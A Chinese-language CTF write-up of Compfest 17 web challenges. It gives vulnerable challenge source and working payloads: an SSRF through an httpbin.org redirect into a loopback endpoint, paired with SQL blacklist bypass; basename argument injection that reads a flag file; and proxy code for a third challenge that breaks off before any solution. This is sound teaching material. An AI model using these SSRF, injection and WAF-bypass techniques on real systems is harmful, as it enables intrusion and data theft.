【CTF/WriteUp】2025 Compfest 17 Web 题解

由于比赛结束平台就关闭了,所以一些题目没有地方复现,所以将就看看吧。

Dark Side of Asteroid

题目源码

app.py

from flask import *
import sqlite3, hashlib, requests, os, ipaddress, socket
from init_db import init_db
from datetime import timedelta
from urllib.parse import urlparse

# 初始化 flask
# 设置 session
# 设置文件的上传目录
UPLOAD_FOLDER = 'static/uploads'
app = Flask(__name__)
app.secret_key = os.urandom(16)
app.permanent_session_lifetime = timedelta(minutes=30)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

def get_db_connection():
    '''
    连接数据库
    '''
    conn = sqlite3.connect('asteroids.db', timeout=5)
    conn.row_factory = sqlite3.Row
    return conn

@app.route('/')
def home():
    '''
    首页渲染
    如果已登录,转到 catalog 页面
    如果未登录,转到 login 页面
    '''
    if 'username' in session:
        return redirect(url_for('catalog'))
    return render_template('login.html')

@app.route('/login', methods=['POST'])
def login():
    '''
    从表单接收 username 和 password
    将 md5 后的密码与数据库中的密码比较
    如果匹配,将用户名和角色存储到 session 中,跳转到 catalog 页面
    否则渲染登录页并显示错误信息
    '''
    username = request.form['username']
    password = hashlib.md5(request.form['password'].encode()).hexdigest()

    conn = get_db_connection()
    user = conn.execute('SELECT * FROM users WHERE username=? AND password=?',
                        (username, password)).fetchone()
    conn.close()

    if user:
        session['username'] = user['username']
        session['role'] = user['role']
        return redirect(url_for('catalog'))
    else:
        return render_template('login.html', error='Invalid credentials.')

@app.route('/register', methods=['GET', 'POST'])
def register():
    '''
    注册逻辑
    从表单接收 username 和 password
    如果用户存在发生错误,显示 Username already exists 错误信息
    正常将用户密码写入数据库
    '''
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()

        conn = get_db_connection()
        try:
            conn.execute('INSERT INTO users (username, password) VALUES (?, ?)',
                         (username, password))
            conn.commit()
            conn.close()
            return redirect(url_for('home'))
        except sqlite3.IntegrityError:
            conn.close()
            return render_template('register.html', error='Username already exists.')
    return render_template('register.html')

@app.route('/catalog')
def catalog():
    '''
    未登录用户访问 catalog 页面,跳转到 login 页面
    可以用 name LIKE 搜索
    渲染 asteroid 列表
    '''
    if 'username' not in session:
        return redirect(url_for('home'))

    search = request.args.get('search', '')

    conn = get_db_connection()
    if search:
        asteroids = conn.execute('SELECT * FROM asteroids WHERE name LIKE ?', (f'%{search}%',)).fetchall()
    else:
        asteroids = conn.execute('SELECT * FROM asteroids').fetchall()
    conn.close()

    return render_template('catalog.html', asteroids=asteroids, role=session['role'])

@app.route('/admin', methods=['GET', 'POST'])
def admin():
    '''
    管理员页面
    未登录用户或非管理员角色访问,跳转到 home 页面
    可以添加和删除 asteroid 数据
    '''
    if 'username' not in session or session['role'] != 'admin':
        return redirect(url_for('home'))

    conn = get_db_connection()

    if request.method == 'POST':
        if 'add' in request.form:
            name = request.form['name']
            description = request.form['description']
            conn.execute('INSERT INTO asteroids (name, description) VALUES (?, ?)', (name, description))
            conn.commit()
        elif 'delete' in request.form:
            asteroid_id = request.form['asteroid_id']
            conn.execute('DELETE FROM asteroids WHERE id=?', (asteroid_id,))
            conn.commit()

    asteroids = conn.execute('SELECT * FROM asteroids').fetchall()
    conn.close()
    return render_template('admin.html', asteroids=asteroids)

def filter_sqli(search_raw: str) -> str:
    '''
    SQL WAF
    要求 sql 中必须包含 access_level

    绕过:
        可以用换行符、between
        编码
    '''
    blacklist = [
        'union', 'select', 'from', 'where', 'insert', 'delete', 'update', 'drop', 'or',' ',
        'table', 'database', 'schema', 'group', 'order', 'by', ';', '=', '<', '>','||','\t'
    ]
    
    search_lower = search_raw.lower()
    
    for word in blacklist:
        if word in search_lower:
            abort(403, description="SQL injection attempt detected: Blacklisted word found.")
    
    if 'access_level' not in search_lower:
        abort(403, description="SQL injection attempt detected: Invalid payload structure")
    
    return search_lower

@app.route('/internal/admin/search')
def internal_admin_search():
    '''
    管理员搜索接口
    只允许 127.0.0.1 访问
    默认查询 access_level <= 2 的 secret_name 和 secret_value
    
    GET q 会被拼接到 SQL 查询中
    flag 在 level=3,需要绕过
    
    返回:
        secret_name 与 secret_value
    '''
    if request.remote_addr != '127.0.0.1':
        return "Access denied", 403

    conn = get_db_connection()
    try:
        search_raw = request.args.get('q', '')
        if search_raw == '':
            query = "SELECT secret_name, secret_value FROM admin_secrets WHERE access_level <= 2"
        else:
            search = filter_sqli(search_raw)
            query = f"SELECT secret_name, secret_value FROM admin_secrets WHERE secret_name LIKE '{search}' AND access_level <= 2"

        rows = conn.execute(query).fetchall()
        
        result = ''
        for row in rows:
            result += f"{row['secret_name']}: {row['secret_value']}\n"
        if not result:
            result = "No secrets found"

        return result, 200, {'Content-Type': 'text/plain; charset=utf-8'}
    except Exception as e:
        return f"Error: {str(e)}"
    finally:
        conn.close()

def is_private_url(url: str):
    '''
    SSRF Detect
    解析 hostname
    检查 URL 是否为私网地址
    没有把 127.0.0.1 视为私网地址,is_loopback=True
    请求的重定向目标不会再次检查,只检查第一次 URL 重定向
    '''
    hostname = urlparse(url).hostname
    if not hostname:
        return True
    ip = socket.gethostbyname(hostname)
    return ipaddress.ip_address(ip).is_private

@app.route('/profile', methods=['GET', 'POST'])
def profile():
    '''
    提交 photo_url 会请求远程地址并将结果保存到 static/uploads 目录
    如果响应 Content-Type 不是 image/* 就报错,error_preview 显示前 500 字节并写入
    '''
    if 'username' not in session:
        return redirect(url_for('login'))

    conn = get_db_connection()
    error_preview = None
    content_type = ''

    if request.method == 'POST':
        photo_url = request.form['photo_url']
        try:
            if is_private_url(photo_url):
                raise Exception("Direct access to internal host is forbidden.")

            os.makedirs(os.path.join('static', 'uploads'), exist_ok=True)

            resp = requests.get(photo_url, timeout=5)
            content_type = resp.headers.get('Content-Type', '')
            filename = f"{session['username']}_profile_fetched"
            filepath = os.path.join('static', 'uploads', filename)

            with open(filepath, 'wb') as f:
                f.write(resp.content)

            conn.execute(
                'UPDATE users SET profile_picture=?, profile_type=? WHERE username=?',
                (f'uploads/{filename}', content_type, session['username'])
            )
            conn.commit()

            if not content_type.startswith('image/'):
                try:
                    error_preview = resp.text[:500]
                except Exception as e:
                    error_preview = f"[!] Error reading content: {e}"

        except Exception as e:
            error_preview = f"[!] Error fetching image: {e}"

    user = conn.execute(
        'SELECT * FROM users WHERE username=?',
        (session['username'],)
    ).fetchone()
    conn.close()

    return render_template(
        'profile.html',
        user=user,
        content_type=content_type,
        error_preview=error_preview
    )

        
@app.route('/asteroid/<int:asteroid_id>')
def asteroid_detail(asteroid_id):
    '''
    显示单个 asteroid
    '''
    if 'username' not in session:
        return redirect(url_for('home'))

    conn = get_db_connection()
    asteroid = conn.execute('SELECT * FROM asteroids WHERE id=?', (asteroid_id,)).fetchone()
    conn.close()

    if asteroid:
        return render_template('asteroid_detail.html', asteroid=asteroid, role=session['role'])
    else:
        return "Asteroid not found", 404
    
@app.route('/logout')
def logout():
    '''
    用户退出清除 session
    '''
    session.clear()
    return redirect(url_for('home'))

if __name__ == '__main__':
    if not os.path.exists('asteroids.db'):
        init_db()
    app.run(debug=False,host='0.0.0.0',port=5000)

init_db.py

import sqlite3
import hashlib

def init_db():
    FLAG = 'COMPFEST17{FAKEFLAG}'
    conn = sqlite3.connect('asteroids.db')
    c = conn.cursor()

    # Users table + kolom profile_url
    c.execute('''
    CREATE TABLE IF NOT EXISTS users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        username TEXT UNIQUE NOT NULL,
        password TEXT NOT NULL,
        role TEXT NOT NULL DEFAULT 'guest',
        profile_picture TEXT DEFAULT '',
        profile_type TEXT DEFAULT ''
        )
    ''')

    # Asteroids table
    c.execute('''
        CREATE TABLE IF NOT EXISTS asteroids (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            name TEXT UNIQUE NOT NULL,
            description TEXT NOT NULL
        )
    ''')

    # Admin secrets table
    c.execute('''
        CREATE TABLE IF NOT EXISTS admin_secrets (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            secret_name TEXT,
            secret_value TEXT,
            access_level INTEGER
        )
    ''')

    # Add default secrets
    secrets = [
        ('Flag', FLAG, 3),
        ('final_message', 'You made it! Remember: the flag belongs to those who trust their own path.', 3),
        ('author_message', 'You sure you can get the flag? Think twice…', 2),
        ('welcome_note', 'Welcome to the Asteroid Admin system!', 1)
    ]
    for s in secrets:
        c.execute('INSERT OR IGNORE INTO admin_secrets (secret_name, secret_value, access_level) VALUES (?, ?, ?)', s)


    # Add some default asteroid data (10 asteroid)
    asteroids = [
        ('Ceres', 'The largest object in the asteroid belt between Mars and Jupiter.'),
        ('Pallas', 'Second-largest asteroid, discovered in 1802.'),
        ('Vesta', 'Brightest asteroid visible from Earth, has a differentiated interior.'),
        ('Hygiea', 'Fourth-largest asteroid, nearly spherical.'),
        ('Eros', 'First asteroid orbited and landed on by a spacecraft (NEAR Shoemaker).'),
        ('Itokawa', 'Visited by Japanese spacecraft Hayabusa.'),
        ("Bennu", "Target of NASA's OSIRIS-REx mission, potentially hazardous."),
        ('Ryugu', "Visited by Japan's Hayabusa2 mission, diamond-shaped."),
        ('Davida', 'One of the largest C-type asteroids.'),
        ('Psyche', "Rich in metal, target of NASA's Psyche mission.")
    ]
    for asteroid in asteroids:
        c.execute('INSERT OR IGNORE INTO asteroids (name, description) VALUES (?, ?)', asteroid)

    conn.commit()
    conn.close()
    print("[+] Database initialized successfully with default data.")

if __name__ == '__main__':
    init_db()

解题思路

根据源码分析,会发现是一个 SSRF + SQL 黑名单绕过的题。

整体思路步骤是:

  1. 注册一个新用户。
  2. 访问到 /profile 页面,写入一个公网可达的重定向 URL,让后端请求(photo_url = request.form['photo_url']),302 到服务器自身 127.0.0.1。
  3. 302 ==> http://127.0.0.1:5000/internal/admin/search? ,在这里需要绕过 SQL WAF。
  4. 页面返回。

image

解题步骤

SQL 绕过

blacklist = [
    'union', 'select', 'from', 'where', 'insert', 'delete', 'update', 'drop', 'or',' ',
    'table', 'database', 'schema', 'group', 'order', 'by', ';', '=', '<', '>','||','\t'
]

# app.py
SELECT secret_name, secret_value
FROM admin_secrets
WHERE secret_name LIKE '{search}' AND access_level <= 2

-- 让语句变成开放式
WHERE secret_name LIKE '%' AND access_level BETWEEN 0 AND 9 --' AND access_level <= 2

-- 进行两次 URL 编码
http%3A%2F%2F127.0.0.1%3A5000%2Finternal%2Fadmin%2Fsearch%3Fq%3D%2525%2527%250AAND%250Aaccess_level%250Abetween%250A0%250Aand%250A9%250A--
  • LIKE % 恒真。
  • \n 绕过空格限制。
  • 使用 BETWEEN 0 AND 9 绕过范围判断,覆盖到 flag 所在的 3。
  • access_level 带上。
  • 末尾注释。

最终 payload:

http://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A5000%2Finternal%2Fadmin%2Fsearch%3Fq%3D%2525%2527%250AAND%250Aaccess_level%250Abetween%250A0%250Aand%250A9%250A--

Basssh

题目先是给了挺多看似与题目有关的脚本、功能,但实际上都是幌子,我们直接看关键文件。

题目源码

index.sh

[kaqi c] cat pages/index.sh

source config.sh

file_target=$(basename -s .py $(urldecode "${QUERY_PARAMS['file']}"))

chall_list() {
    echo "<div class='w-full'>"
    echo "  <div class='bg-[#141414] text-green-400 font-mono text-sm rounded-lg p-6 overflow-x-auto'>"
    echo "    <div class='flex flex-col space-y-1'>"
    echo "      <p class='text-white'><span class='text-green-400'>you@basssh</span>:<span class='text-cyan-500'>/app</span>$ tree -L 1 ./programs</p>"

    echo "      <span class='text-cyan-500'>.</span>"

    mapfile -t files < <(find programs/ -maxdepth 1 -type f -name "*.py" | sort)
    total=${#files[@]}

    for i in "${!files[@]}"; do
        file="${files[$i]}"
        filename=$(basename $file)
        if [ "$i" -eq $((total - 1)) ]; then
            branch="└──"
        else
            branch="├──"
        fi
        echo "      <p class='text-white'>$branch <a href='?file=$filename' class='text-yellow-400 hover:text-yellow-300 transition-colors duration-200'>$filename</a></p>"
    done

    if [ -z "$file_target" ]; then
        echo "      </br>"
        echo "      <p class='text-white'>No file selected.</p>"
        echo "      <p class='text-white'>Please select a file from the list above.</p>"
        echo "      <p class='text-white'>Example: <span class='text-yellow-400'>?file=example.py</span></p>"
        echo "      <p class='text-white'>Then click the <span class='text-green-400'>▶ Run</span> button.</p>"
        echo "    </div>"
        echo "  </div>"
        echo "</div>"
        return
    fi
    echo "      </br><p class='text-white'><span class='text-green-400'>you@basssh</span>:<span class='text-cyan-500'>/app</span>$ cat ./problems/$file_target.txt</p>"

    cat "problems/$file_target.txt" | while read -r line; do
      echo "      <p class='text-white'>$line</p>"
    done

    echo "    </div>"
    echo "  </div>"
    echo "</div>"
}


htmx_page << EOF
<body class="font-mono bg-[#1F1F1F] text-[#CE9178] mt-4">
  <div class="w-full flex flex-col md:flex-row border-2 divide-y-2 md:divide-y-0 md:divide-x-2 border-[#484848] divide-[#282828]">

    <!-- Left Card -->
    <div id="left-card" class="flex flex-col flex-1 max-w-xl justify-start items-start px-4 py-6">
      <pre class="overflow-auto text-sm leading-tight">
Welcome to,

██████╗░░█████╗░░██████╗░██████╗░██████╗██╗░░██╗
██╔══██╗██╔══██╗██╔════╝██╔════╝██╔════╝██║░░██║
██████╦╝███████║╚█████╗░╚█████╗░╚█████╗░███████║
██╔══██╗██╔══██║░╚═══██╗░╚═══██╗░╚═══██╗██╔══██║
██████╦╝██║░░██║██████╔╝██████╔╝██████╔╝██║░░██║
╚═════╝░╚═╝░░╚═╝╚═════╝░╚═════╝░╚═════╝░╚═╝░░╚═╝
      </pre>
      <p>Pretty much 1337code 101.</p>
      <br />
      $(chall_list)
      <p class="text-xs pt-2">^ not interactive, just a list of challenges.</p>
    </div>

    <!-- Right Card with Button -->
    <div class="flex-1 flex-col items-end px-4 py-6">
      <form hx-post="/exec/?file=$file_target.py" hx-target="#output" hx-swap="innerHTML">
        <button class="bg-[#CE9178] text-white text-sm py-1 px-2 border-2 border-transparent hover:bg-[#b87f68] hover:border-white transition ease-in-out duration-300" type="submit">
          ▶ Run
        </button>
        <div class="mt-4">
          <p class="text-white">Input:</p>
          <textarea name="input" id="input" class="w-full h-64 bg-[#141414] text-white p-6 rounded-lg border border-[#484848] resize-none"></textarea>
        </div>
      </form>
      <div class="mt-2">
        <p class="text-white">Output:</p>
        <textarea id="output" class="w-full h-44 bg-[#141414] text-white p-6 rounded-lg border border-[#484848] resize-none" readonly></textarea>
      </div>
    </div>

  </div>
</body>

EOF

exec.sh

[kaqi c] cat pages/exec.sh
source config.sh
echo ""

file_target=$(basename -s .py $(urldecode "${QUERY_PARAMS['file']}"))

if ! [[ -f "programs/${file_target}.py" ]]; then
  echo "Invalid file"
  exit 1
fi

input="${FORM_DATA[input]}"

if [[ -n "$input" ]]; then
    output=$(echo -e "$input" | python3 "programs/${file_target}.py" 2>&1)
else
    output="No input provided. Please enter some input in the textarea above."
fi

escaped_output=$(echo "$output" | sed 's/&/\&amp;/g; s/</\&lt;/g; s/>/\&gt;/g')

echo "$escaped_output"

解题思路

刚开始看到 $(basename -s .py $(urldecode "${QUERY_PARAMS['file']}")) 这一段,发现有一个 glob 展开,尝试直接输入 */ 等,能显示路径下的文件。
尝试了一番发现不能查看文件,因为在这一段 index.sh 中的这一段 cat "problems/$file_target.txt" | while read -r line; 限定了只能查看 problems/ 目录下的文件。

其实这里有点没招了(去看第三题🤗

回来继续
开始找 bash 能玩的操作有哪些:

  • 通配符
  • 路径穿越
  • glob
  • 命令替换
  • 命令参数注入

前面的都用过了,剩参数注入,直接输 --help,发现能回显,那么解法多半是 basename 命令。
查阅手册ing:

image

  • -a :支持多参数,将每个参数当作一个文件名,然后拼起来处理。
  • -z :用 \0 作为每一行输出的末尾字符,而不是换行符 \n
[kaqi ~] basename -z -a .. / .. / flag
../../flag

最终 payload:

http://ctf.compfest.id:7301/
?file=/*
you@basssh:/app$ cat ./problems/app bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var.txt

http://ctf.compfest.id:7301/
?file=--help
you@basssh:/app$ cat ./problems/Usage: basename NAME [SUFFIX] or: basename OPTION... NAME... Print NAME with any leading directory components removed. If specified, also remove a trailing SUFFIX. Mandatory arguments to long options are mandatory for short options too. -a, --multiple support multiple arguments and treat each as a NAME -s, --suffix=SUFFIX remove a trailing SUFFIX; implies -a -z, --zero end each output line with NUL, not newline --help display this help and exit --version output version information and exit Examples: basename /usr/bin/sort -> "sort" basename include/stdio.h .h -> "stdio" basename -s .h include/stdio.h -> "stdio" basename -a any/str1 any/str2 -> "str1" followed by "str2" GNU coreutils online help: Report any translation bugs to Full documentation or available locally via: info '(coreutils) basename invocation'.txt

http://ctf.compfest.id:7301/
?file=-z -a .. / .. / flag
you@basssh:/app$ cat ./problems/../../flag.txt
COMPFEST17{bassshbassshbasssh_7e5cf4b8d6}

Not Simple Web

题目源码

[kaqi c] ls -R 
.: 
docker-compose.yml  proxy  server 
 
./proxy: 
Dockerfile  main.py 
 
./server: 
Cargo.lock  Cargo.toml  Dockerfile  src 
 
./server/src: 
main.rs  static 
 
./server/src/static: 
chad.jpg     index.html  not_found.html  secret.html  this_is_fine.jpg 
favicon.ico  kys.png     reject.html     style.css    tighten_stare.png 

index.html

<!DOCTYPE html>
<html>

<head>
  <title>Welcome to HomemadeHTTP</title>
  <link rel="stylesheet" href="style.css">
  <body>
    <div id="container">
      <h1>Welcome to HomemadeHTTP</h1>
      <p>Built with 0% dependencies, 100% masculinity.<br>
      Proxy is a sigma built upon sockets and regex.<br>
      If you get rejected, maybe you're just not based enough 馃し鈥嶁檪锔?/p>

      <p>My pic below:</p>
      <div id="img">
        <img src="chad.jpg"></img>
      </div>

      <a href="/secret.html">Try your luck</a>
    </div>
  </body>
</html>

reject.html

<!DOCTYPE html>
<html>

<head>
  <title>Page Title</title>
  <link rel="stylesheet" href="style.css">
</head>

<body>
  <div id="container">
    <h1>Request Rejected</h1>
    <div id="img">
      <img src="kys.png"></img>
    </div>
    <p>Please don't actually do it ❤️</p>
    <a href="/index.html">Go back</a>
  </div>
</body>

</html>

secret.html

<!DOCTYPE html>
<html>

<head>
  <title>Page Title</title>
  <link rel="stylesheet" href="style.css">
  <body>
    <div id="container">
      <h1>How did you get here?</h1>

      <div id="img">
        <img src="this_is_fine.jpg"></img>
      </div>

      <p>There is nothing to see here</p>
      <a href="/index.html">⮐ Go back</a>
      <p style="color: black; position: absolute; left: 0; top: 0;">{{ FLAG }}</p>
    </div>
  </body>
</html>

main.rs

use hyper::service::{make_service_fn, service_fn};
use hyper::{Body, Request, Response, Server, StatusCode};
use include_dir::{Dir, include_dir};
use mime_guess;
use base64::prelude::*;
use std::env;

static STATIC_DIRECTORY: Dir = include_dir!("$CARGO_MANIFEST_DIR/src/static");

async fn handle(req: Request<Body>) -> Result<Response<Body>, hyper::Error> {
    println!("[Request]");
    println!("{:#?}", req);

    let path = req.uri().path().to_owned();
    let body_bytes = hyper::body::to_bytes(req.into_body()).await?;
    println!("[Body] {} bytes", body_bytes.len());
    if let Ok(s) = std::str::from_utf8(&body_bytes) {
        println!("{}", s);
    }

    // Normalize root to index.html
    let rel_path = if path == "/" {
        "index.html"
    } else {
        &path[1..] // strip leading slash
    };

    let file = STATIC_DIRECTORY
        .get_file(rel_path)
        .unwrap_or(STATIC_DIRECTORY.get_file("not_found.html").unwrap());

    let mime = mime_guess::from_path(rel_path).first_or_octet_stream();
    let mime_header = {
        if mime.type_() == "text" {
            format!("{}; charset=UTF-8", mime.essence_str())
        } else {
            mime.to_string()
        }
    };

    let body = if rel_path != "secret.html" {
        Body::from(file.contents())
    } else {
        let flag = env::var("FLAG").unwrap();
        Body::from(
            str::from_utf8(file.contents())
                .unwrap()
                .replace("{{ FLAG }}", &BASE64_STANDARD.encode(flag)),
        )
    };

    let status = if rel_path != "not_found.html" {
        StatusCode::OK
    } else {
        StatusCode::NOT_FOUND
    };

    Ok(Response::builder()
        .header("Content-Type", mime_header)
        .status(status)
        .body(body)
        .unwrap())
}

#[tokio::main]
async fn main() {
    let args: Vec<String> = env::args().collect();

    let port = args.get(1).expect("Provide port!").parse().unwrap();
    env::var("FLAG").expect("Provide FLAG env!");

    let addr = ([0, 0, 0, 0], port).into();
    let make_svc = make_service_fn(|_conn| async { Ok::<_, hyper::Error>(service_fn(handle)) });

    println!("Listening on http://{}", addr);
    Server::bind(&addr).serve(make_svc).await.unwrap();
}

Cargo.toml

[package]
name = "server"
version = "0.1.0"
edition = "2024"

[dependencies]
base64 = "0.22.1"
hyper = { version = "=0.14.9", features = ["full"] } # Pinned for compatibility
include_dir = "0.7.4"
mime_guess = "2.0.5"
tokio = { version = "1.46.1", features = ["full"] }

server Dockerfile

FROM rust:1.88.0

WORKDIR /app
COPY . .
RUN cargo install --path .

ENTRYPOINT ["server"]

proxy Dockerfile

FROM python:3.13.5

WORKDIR /app
COPY . .

ENTRYPOINT ["python", "-u", "/app/main.py"]

docker-compose.yml

services:
  server:
    build: "./server"
    container_name: "server"
    pull_policy: build
    image: "ctf_not_simple_web_server"
    expose:
      - 28015
    command: "28015"
    environment:
      - FLAG="COMPFEST17{FAKE_FLAG_0_0}"
    init: true
    read_only: true

  proxy:
    build: "./proxy"
    container_name: "proxy"
    pull_policy: build
    image: "ctf_not_simple_web_proxy"
    ports:
      - "8000:8000"
    expose:
      - 8000
    command: "0.0.0.0:8000 server:28015"
    init: true
    read_only: true
    depends_on:
      - server

main.py

import socketserver
from sys import argv
import socket
import re
import threading
from time import sleep

class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    allow_reuse_address = True # Immediately use port that has just recently been freed

class ProxyHandler(socketserver.BaseRequestHandler):
    _buffer: bytes = b""
    _timeout: int = 60

    def handle(self):
        _socket: socket.socket = self.request

        request: tuple[str, str, str] = self._get_request()
        headers: list[tuple[str, str]] = self._get_headers()

        print("Incoming request:")
        print(request)
        print(headers)

        request, headers = self._process_host(request, headers)
        request, headers = self._strip_connection(request, headers)
        request, headers, length = self._process_body_length(request, headers)
        self._filter_route(request)

        print("Outgoing request:")
        print(request)
        print(headers)
        print(length)

        self._send(request, headers, length)

    def _readbuffered(self, max_amount: int) -> bytes:
        _socket: socket.socket = self.request
        if self._timeout != 60:
            _socket.settimeout(60)

        if self._buffer == b"":
            data = _socket.recv(1024*1024)
            if data == b"":
                exit(1)
            self._buffer += data

        ret_val = self._buffer[:max_amount]
        self._buffer = self._buffer[max_amount:]
        return ret_val

    def _readline(self) -> bytes:
        data: bytes = b""
        while data[-2:] != b"\r\n":
            newbyte = self._readbuffered(1)
            if newbyte == b"":
                exit(1) # Client disconnected
            data += newbyte
        return data[:-2]

    def _get_request(self) -> tuple[str, str, str]:
        try:
            request = self._readline().decode("ASCII", "strict").strip()
        except UnicodeDecodeError:
            self._reject(400, "Bad Request")

        method, target, protocol, *other = request.split(" ")
        if len(other) != 0:
            self._reject(400, "Bad Request")

        # Case sensitive
        if method not in ["POST", "GET"]:
            self._reject(501, "Not Implemented")

        # Make http lowercase (sorry for the mess)
        if target[:1] != "/":
            uri_start = target.find("/", 7)
            # If not found, then probably no uri, -1 should lowercase the whole address
            if uri_start != -1:
                target = target[:uri_start].lower() + target[uri_start:]
            else:
                target = target.lower()
        if not (target.startswith("/") or target.startswith("http://")):
            self._reject(400, "Bad Request")

        # Case sensitive
        if protocol != "HTTP/1.1":
            self._reject(501, "Not Implemented")

        return (method, target, protocol)


    def _get_headers(self) -> list[tuple[str, str]]:
        result = []

        while True:
            entry = self._readline()
            if entry == b"":
                break
            if not re.match(rb"^[\w\-]+:.*$", entry):
                self._reject(400, "Bad Request")

            try:
                key = entry[:entry.index(b":")].title().decode("ASCII", "strict")
            except UnicodeDecodeError:
                self._reject(400, "Bad Request")
            val_bytes = entry[entry.index(b":")+1:]

            # Only allow printable, tab, space, and obsolete values
            if not all([num == 0x9 or num >= 0x20 for num in val_bytes]):
                self._reject(400, "Bad Request")

            try:
                val = val_bytes.decode("ASCII", "strict").strip()
            except UnicodeDecodeError:
                self._reject(400, "Bad Request")

            result.append((key, val))

        return result

    def _process_host(self, request, headers):
        host_entries = list(filter(lambda entry: entry[1][0] == "Host", enumerate(headers)))
        if len(host_entries) != 1:
            self._reject(400, "Bad Request")
        index, header = host_entries[0]

        location = request[1]

        if location.startswith("http://"):
            # If not found, then the whole thing is origin
            origin_index = location.find("/", 7)
            if origin_index != -1:
                origin = location[:origin_index]
                location = location[origin_index:]
            else:
                origin = location
                location = "/"

            request = (request[0], location, request[2])
            headers[index] = (header[0], origin)

        return request, headers

    def _strip_connection(self, request, headers):
        headers = list(filter(lambda header: header[0] != "Connection", headers))
        return (request, headers)

    def _process_body_length(self, request, headers):
        transfer_encodings = list(filter(lambda header: header[0] == "Transfer-Encoding", headers))
        if len(transfer_encodings) > 1:
            self._reject(400, "Bad Request")
        if len(transfer_encodings) == 1:
            transfer_encoding = transfer_encodings[0]
            if transfer_encoding[1].lower() != "chunked":
                self._reject(501, "Not Implemented")
            headers = list(filter(lambda header: header[0] != "Content-Length", headers))
            return (request, headers, -1)

        content_lengths = list(filter(lambda header: header[0] == "Content-Length", headers))
        if len(content_lengths) > 1:
            self._reject(400, "Bad Request")
        if len(content_lengths) == 1:
            content_length = content_lengths[0]
            if not re.match("^[0-9]+$", content_length[1]):
                self._reject(400, "Bad Request")
            return (request, headers, int(content_length[1]))

        return (request, headers, 0)

    def _filter_route(self, request):
        assert request[1].startswith("/")
        uri = request[1]
        if not (re.match(r"^/\w+\.\w+$", uri) or uri == "/"):
            self._reject(301, "Moved Permanently", "/reject.html")
        if "secret" in uri.lower():
            self._reject(307, "Temporary Redirect", "/reject.html")

    def _send(self, request, headers, length):
        client: socket.socket = self.request
        server: socket.socket = socket.create_connection((send_addr, send_port), timeout=5)

        header_section = "\r\n".join(map(lambda entry: f"{entry[0]}: {entry[1]}", headers))
        # Send headers
        server.sendall(f"""\
{request[0]} {request[1]} {request[2]}\r\n\
{header_section}\r\n\
\r\n\
""".encode("ASCII", "strict"))

        if length >= 0:
            if length > 0:
                self._poll(client, server, length=length)
            self._poll(client, server, client_done=True)

            # Obsolete return probably
            return

        # Chunked data transfer
        while True:
            try:
                chunk_size_str = self._readline().decode("ASCII", "strict")
            except UnicodeDecodeError:
                sefl._reject(400, "Bad Request")

            # Ignore any extensions
            ext_index = chunk_size_str.find(";")
            if ext_index != -1:
                chunk_size_str = chunk_size_str[:ext_index]
            chunk_size_str = chunk_size_str.strip()

            # Chunk size is in hex
            if not re.match(r"[0-9a-fA-F]+", chunk_size_str):
                self._reject(400, "Bad Request")
            chunk_size = int(chunk_size_str, 16)

            server.sendall(chunk_size_str.encode("ASCII", "strict") + b"\r\n")

            if chunk_size == 0:
                break

            # Server might be sending data as client is sending body
            self._poll(client, server, chunk_size)
            # Should be CRLF after chunk data
            if self._readline() != b"":
                self._reject(400, "Bad Request")

            server.sendall(b"\r\n")

        # Chunked trailer section
        while True:
            header = self._readline()
            if header == b"":
                server.sendall(b"\r\n")
                break
            server.sendall(header + b"\r\n")

        self._poll(client, server, client_done=True)


    def _poll(self, client, server, length: int = 0, client_done: bool = False):
        assert (length > 0 and not client_done) or (length == 0 and client_done)
        if len(self._buffer) > 0 and length > 0:
            data = self._readbuffered(min([1024*1024, length]))
            length -= len(data)
            server.sendall(data)

        client.setblocking(False)
        server.setblocking(False)
        self._timeout = 0

        server_header_processed = False
        server_data: bytes = b""
        sleep_count = 0

        # Keep polling until no response has been made from either side
        # If either client is done sending (waiting for all server data)
        # Or client still has something to send
        while sleep_count < 60 and (client_done or length > 0):
            client_block = False

            # Read up to length remaining
            if length > 0:
                try:
                    data = client.recv(min([1024*1024, length]))
                    if data == b"":
                        exit(1)
                    length -= len(data)
                    server.sendall(data)
                except BlockingIOError:
                    client_block = True
            # Make sure client is still listening
            else:
                try:
                    if client.recv(1) == b"":
                        exit(1)
                except BlockingIOError:
                    pass


            # Read data from server
            try:
                data = server.recv(1024*1024)
                if data == b"" and not client_done:
                    self._reject(500, "Internal Server Error")
                if data == b"" and client_done:
                    exit(0)
                # Add Connection: close header
                if not server_header_processed:
                    server_data += data
                    if b"\r\n\r\n" in server_data:
                        processed_data = self._process_server_header(server_data)
                        client.sendall(processed_data)
                    server_header_processed = True
                else:
                    client.sendall(data)
            except BlockingIOError:
                if client_block or length == 0:
                    sleep_count += 1
                    sleep(1)

    def _process_server_header(self, server_data: bytes):
        assert b"\r\n\r\n" in server_data
        header_data: bytes = server_data[:server_data.find(b"\r\n\r\n")]
        body_data: bytes = server_data[server_data.find(b"\r\n\r\n")+4:]
        header_entries = header_data.split(b"\r\n")

        processed_data: bytes = b""
        for header_entry in header_entries:
            if not re.match(rb"^connection:.*$", header_entry.lower()):
                processed_data += header_entry + b"\r\n"
            else:
                continue
        processed_data += b"Connection: close\r\n\r\n"
        processed_data += body_data
        return processed_data


    def _reject(self, code: int, reason: str, location: str|None = None):
        assert re.match(r"^[\w\- \t]+$", reason)
        assert 100 <= code <= 999
        if location is None:
            location_header = ""
        else:
            assert re.match(r"^/\w+\.\w+$", location)
            location_header = f"Location: {location}\r\n"
        _socket: socket.socket = self.request
        _socket.sendall(f"""\
HTTP/1.1 {code} {reason}\r\n\
Server: sigmaproxy/0.1
Connection: close\r\n\
{location_header}\
\r\n\
""".encode("ASCII", "strict"))
        _socket.close()
        print(code, reason)
        exit(1)


if __name__ == "__main__":
    if len(argv) < 3:
        print("Need port to listen and to send")
        exit(1)

    listen: str = argv[1]
    send: str = argv[2]

    assert re.match(r"^[\w\.-]+:[0-9]+$", listen)
    assert re.match(r"^[\w\.-]+:[0-9]+$", send)
 
    print(f"Listening on {listen}") 
    print(f"Sending to {send}") 
    listen_addr: str = listen[:listen.index(":")] 
